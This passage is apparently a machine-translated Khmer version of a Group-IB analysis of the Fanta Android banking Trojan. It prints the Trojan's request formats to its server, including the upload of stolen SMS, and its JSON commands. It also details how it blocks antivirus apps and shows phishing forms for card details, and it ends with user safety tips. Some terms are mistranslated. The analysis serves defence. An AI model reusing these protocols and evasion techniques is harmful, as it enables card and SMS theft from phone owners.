  · division_admin — វាលកំណត់ថាតើសិទ្ធិអ្នកគ្រប់គ្រងត្រូវបានទទួល។ ប្រសិនបើសិទ្ធិអ្នកគ្រប់គ្រងត្រូវបានទទួល នោះវាលគឺស្មើនឹង 1បើមិនដូច្នេះទេ 0
  · ភាពងាយស្រួល - ស្ថានភាពប្រតិបត្តិការសេវាកម្មភាពងាយស្រួល។ ប្រសិនបើសេវាកម្មត្រូវបានចាប់ផ្តើម តម្លៃគឺ 1បើមិនដូច្នេះទេ 0
  · SMSManager — បង្ហាញថាតើ Trojan ត្រូវបានបើកជាកម្មវិធីលំនាំដើមសម្រាប់ការទទួលសារ SMS ដែរឬទេ
  · អេក្រង់ - បង្ហាញស្ថានភាពដែលអេក្រង់ស្ថិតនៅក្នុង។ តម្លៃនឹងត្រូវបានកំណត់ 1ប្រសិនបើអេក្រង់បើក បើមិនដូច្នោះទេ 0;

  ឧទាហរណ៍នៃសំណើដែលបានផ្ញើទៅម៉ាស៊ីនមេ៖

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

  អាស្រ័យលើពាក្យបញ្ជា ម៉ាស៊ីនមេអាចត្រឡប់វត្ថុ JSON ដែលមានប៉ារ៉ាម៉ែត្រផ្សេងៗគ្នា៖

  · ក្រុមការងារ ផ្ញើសារ SMS៖ ប៉ារ៉ាម៉ែត្រមានលេខទូរស័ព្ទ អត្ថបទនៃសារ SMS និងលេខសម្គាល់សារដែលកំពុងផ្ញើ។ ឧបករណ៍កំណត់អត្តសញ្ញាណត្រូវបានប្រើនៅពេលផ្ញើសារទៅម៉ាស៊ីនមេដែលមានប្រភេទ ស្ថានភាព setSms.

  {
      "response":
      [
     	 {
     		 "mode": 0,
     		 "sms_number": <%SMS_NUMBER%>,
     		 "sms_text": <%SMS_TEXT%>,
     		 "sms_id": %SMS_ID%
     	 }
      ],
      "status":"ok"
  }

  · ក្រុមការងារ ធ្វើការហៅទូរសព្ទ ឬបញ្ជា USSD៖ លេខទូរស័ព្ទ ឬពាក្យបញ្ជាមាននៅក្នុងតួឆ្លើយតប។

  {
      "response":
      [
     	 {
     		 "mode": 1,
     		 "command": <%TEL_NUMBER%>
     	 }
      ],
      "status":"ok"
  }

  · ក្រុមការងារ ផ្លាស់ប្តូរប៉ារ៉ាម៉ែត្រចន្លោះពេល.

  {
      "response":
      [
     	 {
     		 "mode": 2,
     		 "interval": <%SECONDS%>
     	 }
      ],
      "status":"ok"
  }

  · ក្រុមការងារ ផ្លាស់ប្តូរប៉ារ៉ាម៉ែត្រស្ទាក់ចាប់.

  {
      "response":
      [
     	 {
     		 "mode": 3,
     		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
     	 }
      ],
      "status":"ok"
  }

  · ក្រុមការងារ ផ្លាស់ប្តូរវាល SmsManager.

  {
      "response":
      [
     	 {
     		 "mode": 6,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

  · ក្រុមការងារ ប្រមូលសារ SMS ពីឧបករណ៍ដែលមានមេរោគ.

  {
      "response":
      [
     	 {
     		 "mode": 9
     	 }
      ],
      "status":"ok"
  }

  · ក្រុមការងារ កំណត់ទូរស័ព្ទរបស់អ្នកឡើងវិញទៅការកំណត់របស់រោងចក្រ:

  {
      "response":
      [
     	 {
     		 "mode": 11
     	 }
      ],
      "status":"ok"
  }

  · ក្រុមការងារ ផ្លាស់ប្តូរប៉ារ៉ាម៉ែត្រ ReadDialog.

  {
      "response":
      [
     	 {
     		 "mode": 12,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

• ការផ្ញើសារជាមួយប្រភេទ ស្ថានភាព setSms. សំណើនេះត្រូវបានធ្វើឡើងបន្ទាប់ពីពាក្យបញ្ជាត្រូវបានប្រតិបត្តិ ផ្ញើសារ SMS. ពាក្យសុំមើលទៅដូចនេះ៖

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

• ផ្ទុកឡើងមាតិកាមូលដ្ឋានទិន្នន័យ។ ជួរមួយត្រូវបានបញ្ជូនតាមសំណើ។ ទិន្នន័យខាងក្រោមត្រូវបានផ្ញើទៅកាន់ម៉ាស៊ីនមេ៖
  · ខូគី - ខូគីបានទទួលពីម៉ាស៊ីនមេ
  · របៀប - ខ្សែអក្សរថេរ កំណត់SaveInboxSms
  · ដេញថ្លៃ - លេខសម្គាល់ឧបករណ៍ដែលមានមេរោគដែលបានទទួលនៅពេលផ្ញើសំណើ ចុះឈ្មោះ_bot
  · អត្ថបទ - អត្ថបទនៅក្នុងកំណត់ត្រាមូលដ្ឋានទិន្នន័យបច្ចុប្បន្ន (វាល d ពីតុ កំណត់ហេតុ នៅក្នុងមូលដ្ឋានទិន្នន័យ а)
  · លេខ - ឈ្មោះនៃកំណត់ត្រាមូលដ្ឋានទិន្នន័យបច្ចុប្បន្ន (វាល p ពីតុ កំណត់ហេតុ នៅក្នុងមូលដ្ឋានទិន្នន័យ а)
  · sms_mode - តម្លៃចំនួនគត់ (វាល m ពីតុ កំណត់ហេតុ នៅក្នុងមូលដ្ឋានទិន្នន័យ а)

  ពាក្យសុំមើលទៅដូចនេះ៖

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

  ប្រសិនបើបានផ្ញើទៅម៉ាស៊ីនមេដោយជោគជ័យ ជួរដេកនឹងត្រូវបានលុបចេញពីតារាង។ ឧទាហរណ៍នៃវត្ថុ JSON ដែលបញ្ជូនមកវិញដោយម៉ាស៊ីនមេ៖

  {
      "response":[],
      "status":"ok"
  }

អន្តរកម្មជាមួយសេវាកម្មភាពងាយស្រួល

AccessibilityService ត្រូវបានអនុវត្តដើម្បីធ្វើឱ្យឧបករណ៍ Android ងាយស្រួលប្រើសម្រាប់ជនពិការ។ ក្នុងករណីភាគច្រើន អន្តរកម្មរាងកាយត្រូវបានទាមទារដើម្បីធ្វើអន្តរកម្មជាមួយកម្មវិធីមួយ។ AccessibilityService អនុញ្ញាតឱ្យអ្នកធ្វើវាតាមកម្មវិធី។ Fanta ប្រើប្រាស់សេវាកម្មដើម្បីបង្កើត windows ក្លែងក្លាយនៅក្នុងកម្មវិធីធនាគារ និងការពារអ្នកប្រើប្រាស់ពីការបើកការកំណត់ប្រព័ន្ធ និងកម្មវិធីមួយចំនួន។

ដោយប្រើមុខងារនៃសេវាកម្មមធ្យោបាយងាយស្រួល Trojan ត្រួតពិនិត្យការផ្លាស់ប្តូរទៅធាតុនៅលើអេក្រង់នៃឧបករណ៍ដែលមានមេរោគ។ ដូចដែលបានពិពណ៌នាពីមុន ការកំណត់ Fanta មានប៉ារ៉ាម៉ែត្រដែលទទួលខុសត្រូវចំពោះប្រតិបត្តិការកត់ត្រាជាមួយប្រអប់ - ប្រអប់អាន. ប្រសិនបើប៉ារ៉ាម៉ែត្រនេះត្រូវបានកំណត់ ព័ត៌មានអំពីឈ្មោះ និងការពិពណ៌នានៃកញ្ចប់ដែលបង្កឱ្យមានព្រឹត្តិការណ៍នេះនឹងត្រូវបានបញ្ចូលទៅក្នុងមូលដ្ឋានទិន្នន័យ។ Trojan អនុវត្តសកម្មភាពដូចខាងក្រោមនៅពេលដែលព្រឹត្តិការណ៍ត្រូវបានកេះ៖

• ក្លែងធ្វើការចុចគ្រាប់ចុចខាងក្រោយ និងផ្ទះនៅក្នុងករណីដូចខាងក្រោម៖
  · ប្រសិនបើអ្នកប្រើចង់ចាប់ផ្ដើមឧបករណ៍របស់គាត់ឡើងវិញ
  · ប្រសិនបើអ្នកប្រើចង់លុបកម្មវិធី "Avito" ឬផ្លាស់ប្តូរសិទ្ធិចូលប្រើ
  · ប្រសិនបើមានការលើកឡើងអំពីកម្មវិធី "Avito" នៅលើទំព័រ
  · នៅពេលបើកកម្មវិធី Google Play Protect
  · នៅពេលបើកទំព័រដែលមានការកំណត់សេវាកម្មភាពងាយស្រួល
  · នៅពេលប្រអប់សុវត្ថិភាពប្រព័ន្ធលេចឡើង
  · នៅពេលបើកទំព័រដោយប្រើការកំណត់ "គូរលើកម្មវិធីផ្សេងទៀត"
  · នៅពេលបើកទំព័រ "កម្មវិធី" "ការងើបឡើងវិញនិងកំណត់ឡើងវិញ" "កំណត់ទិន្នន័យឡើងវិញ" "កំណត់ការកំណត់ឡើងវិញ" "បន្ទះអ្នកអភិវឌ្ឍន៍" "ពិសេស។ ឱកាស", "ឱកាសពិសេស", "សិទ្ធិពិសេស"
  · ប្រសិនបើព្រឹត្តិការណ៍ត្រូវបានបង្កើតឡើងដោយកម្មវិធីជាក់លាក់។

  បញ្ជីនៃកម្មវិធី

  • ប្រព័ន្ធប្រតិបត្តិការ Android
  • Master Lite
  • សូមសម្អាតម្ចាស់
  • Clean Master សម្រាប់ស៊ីភីយូ x86
  • ការគ្រប់គ្រងការអនុញ្ញាតកម្មវិធី Meizu
  • MIUI សុវត្ថិភាព
  • Clean Master - កំចាត់មេរោគ និងឃ្លាំងសម្ងាត់ និងឧបករណ៍សម្អាតសំរាម
  • ការគ្រប់គ្រងដោយមាតាបិតា និងប្រព័ន្ធ GPS៖ Kaspersky SafeKids
  • Kaspersky Antivirus AppLock & Web Security Beta
  • អ្នកសម្អាតមេរោគ កំចាត់មេរោគ អ្នកសម្អាត (MAX Security)
  • Mobile AntiVirus Security PRO
  • កំចាត់មេរោគ Avast និងការការពារឥតគិតថ្លៃឆ្នាំ 2019
  • សន្តិសុខទូរស័ព្ទ MegaFon
  • ការការពារ AVG សម្រាប់ទូរស័ព្ទ Xperia
  • សុវត្ថិភាពចល័ត
  • Malwarebytes កំចាត់មេរោគ និងការការពារ
  • កំចាត់មេរោគសម្រាប់ Android 2019
  • មេសុវត្ថិភាព - កំចាត់មេរោគ, VPN, AppLock, Booster
  • កំចាត់មេរោគ AVG សម្រាប់កម្មវិធីគ្រប់គ្រងប្រព័ន្ធកុំព្យូទ័របន្ទះ Huawei
  • លទ្ធភាពប្រើប្រាស់ Samsung
  • Samsung Smart Manager
  • មេសន្តិសុខ
  • រំBoកល្បឿន
  • វេជ្ជបណ្ឌិតវេប
  • កន្លែងសុវត្ថិភាព Dr.Web
  • មជ្ឈមណ្ឌលបញ្ជាទូរស័ព្ទចល័ត Dr.Web
  • Dr.Web Security Space Life
  • មជ្ឈមណ្ឌលបញ្ជាទូរស័ព្ទចល័ត Dr.Web
  • កំចាត់មេរោគ និងសុវត្ថិភាពទូរស័ព្ទ
  • Kaspersky Internet Security: កំចាត់មេរោគ និងការការពារ
  • អាយុកាលថ្មរបស់ Kaspersky៖ សន្សំ & រំឭក
  • Kaspersky Endpoint Security - ការការពារ និងការគ្រប់គ្រង
  • AVG Antivirus ឥតគិតថ្លៃឆ្នាំ 2019 - ការការពារសម្រាប់ Android
  • កំចាត់មេរោគប្រព័ន្ធប្រតិបត្តិការ Android
  • Norton Mobile Security និង Antivirus
  • កំចាត់មេរោគ ជញ្ជាំងភ្លើង VPN សុវត្ថិភាពចល័ត
  • សុវត្ថិភាពចល័ត៖ កំចាត់មេរោគ, VPN, ការការពារចោរកម្ម
  • កំចាត់មេរោគសម្រាប់ Android

• ប្រសិនបើការអនុញ្ញាតត្រូវបានស្នើសុំនៅពេលផ្ញើសារ SMS ទៅកាន់លេខខ្លី Fanta ក្លែងធ្វើចុចលើប្រអប់ធីក ចងចាំជម្រើស និងប៊ូតុង ផ្ញើ.
• នៅពេលអ្នកព្យាយាមដកសិទ្ធិអ្នកគ្រប់គ្រងចេញពី Trojan វាចាក់សោអេក្រង់ទូរស័ព្ទ។
• រារាំងការបន្ថែមអ្នកគ្រប់គ្រងថ្មី។
• ប្រសិនបើកម្មវិធីកំចាត់មេរោគ dr.web បានរកឃើញការគំរាមកំហែង Fanta ធ្វើតាមការចុចប៊ូតុង មិនអើពើ.
• Trojan ក្លែងធ្វើការចុចប៊ូតុងខាងក្រោយ និងផ្ទះ ប្រសិនបើព្រឹត្តិការណ៍ត្រូវបានបង្កើតដោយកម្មវិធី Samsung Device Care.
• Fanta បង្កើត​បង្អួច​បន្លំ​ជាមួយ​ទម្រង់​សម្រាប់​បញ្ចូល​ព័ត៌មាន​អំពី​កាត​ធនាគារ ប្រសិនបើ​កម្មវិធី​ពី​បញ្ជី​សេវាកម្ម​អ៊ីនធឺណិត​ប្រហែល 30 ផ្សេង​គ្នា​ត្រូវ​បាន​ដាក់​ឱ្យ​ដំណើរការ។ ក្នុងចំណោមពួកគេ៖ AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drom Auto ជាដើម។
  

  ទម្រង់បន្លំ

  Fanta វិភាគកម្មវិធីណាមួយដែលកំពុងដំណើរការនៅលើឧបករណ៍ដែលមានមេរោគ។ ប្រសិនបើកម្មវិធីនៃការប្រាក់ត្រូវបានបើក នោះ Trojan បង្ហាញបង្អួចបន្លំនៅលើកំពូលនៃកម្មវិធីផ្សេងទៀតទាំងអស់ ដែលជាទម្រង់សម្រាប់បញ្ចូលព័ត៌មានកាតធនាគារ។ អ្នកប្រើប្រាស់ត្រូវបញ្ចូលទិន្នន័យខាងក្រោម៖

  • លេខ​កាត
  • កាលបរិច្ឆេទផុតកំណត់នៃកាត
  • CVV
  • ឈ្មោះម្ចាស់ប័ណ្ណ (មិនមែនសម្រាប់ធនាគារទាំងអស់ទេ)

  អាស្រ័យលើកម្មវិធីដែលកំពុងដំណើរការ បង្អួចបន្លំផ្សេងគ្នានឹងត្រូវបានបង្ហាញ។ ខាង​ក្រោម​នេះ​ជា​ឧទាហរណ៍​ខ្លះ​នៃ​ពួក​គេ៖

  Aliexpress៖

  
  អាទីតូ៖

  
  សម្រាប់កម្មវិធីមួយចំនួនផ្សេងទៀត ឧ. Google Play Market, Aviasales, Pandao, ការកក់ទុក, Trivago:
  

  របៀបដែលវាពិតជា
  

  ជាសំណាងល្អ អ្នកដែលបានទទួលសារ SMS ដែលបានពិពណ៌នានៅដើមអត្ថបទបានប្រែក្លាយទៅជាអ្នកឯកទេសសុវត្ថិភាពតាមអ៊ីនធឺណិត។ ដូច្នេះហើយ កំណែពិតដែលមិនមែនជាអ្នកដឹកនាំរឿងខុសពីអ្វីដែលបានប្រាប់មុននេះ៖ មនុស្សម្នាក់បានទទួលសារ SMS ដ៏គួរឱ្យចាប់អារម្មណ៍មួយ បន្ទាប់ពីនោះគាត់បានប្រគល់វាទៅក្រុមស៊ើបការណ៍ការគំរាមកំហែងតាមប្រមាញ់ក្រុម-IB ។ លទ្ធផលនៃការវាយប្រហារគឺអត្ថបទនេះ។ ចប់​សប្បាយ​មែន​ទេ? ទោះជាយ៉ាងណាក៏ដោយ មិនមែនគ្រប់រឿងទាំងអស់បានបញ្ចប់ដោយជោគជ័យនោះទេ ហើយដូច្នេះថារឿងរបស់អ្នកមិនមើលទៅដូចជាការកាត់ផ្តាច់របស់អ្នកដឹកនាំរឿងដោយការបាត់បង់ប្រាក់នោះទេ ក្នុងករណីភាគច្រើនវាគ្រប់គ្រាន់ក្នុងការប្រកាន់ខ្ជាប់នូវច្បាប់ដែលបានពិពណ៌នាយ៉ាងយូរដូចខាងក្រោមនេះ៖

  • កុំដំឡើងកម្មវិធីសម្រាប់ឧបករណ៍ចល័តដែលមានប្រព័ន្ធប្រតិបត្តិការ Android ពីប្រភពណាមួយក្រៅពី Google Play
  • នៅពេលដំឡើងកម្មវិធី សូមយកចិត្តទុកដាក់ជាពិសេសចំពោះសិទ្ធិដែលស្នើសុំដោយកម្មវិធី
  • យកចិត្តទុកដាក់លើផ្នែកបន្ថែមនៃឯកសារដែលបានទាញយក
  • ដំឡើងកំណែប្រព័ន្ធប្រតិបត្តិការ Android ជាទៀងទាត់
  • កុំចូលមើលធនធានគួរឱ្យសង្ស័យ ហើយកុំទាញយកឯកសារពីទីនោះ
  • កុំចុចលើតំណភ្ជាប់ដែលបានទទួលក្នុងសារ SMS ។

ប្រភព: www.habr.com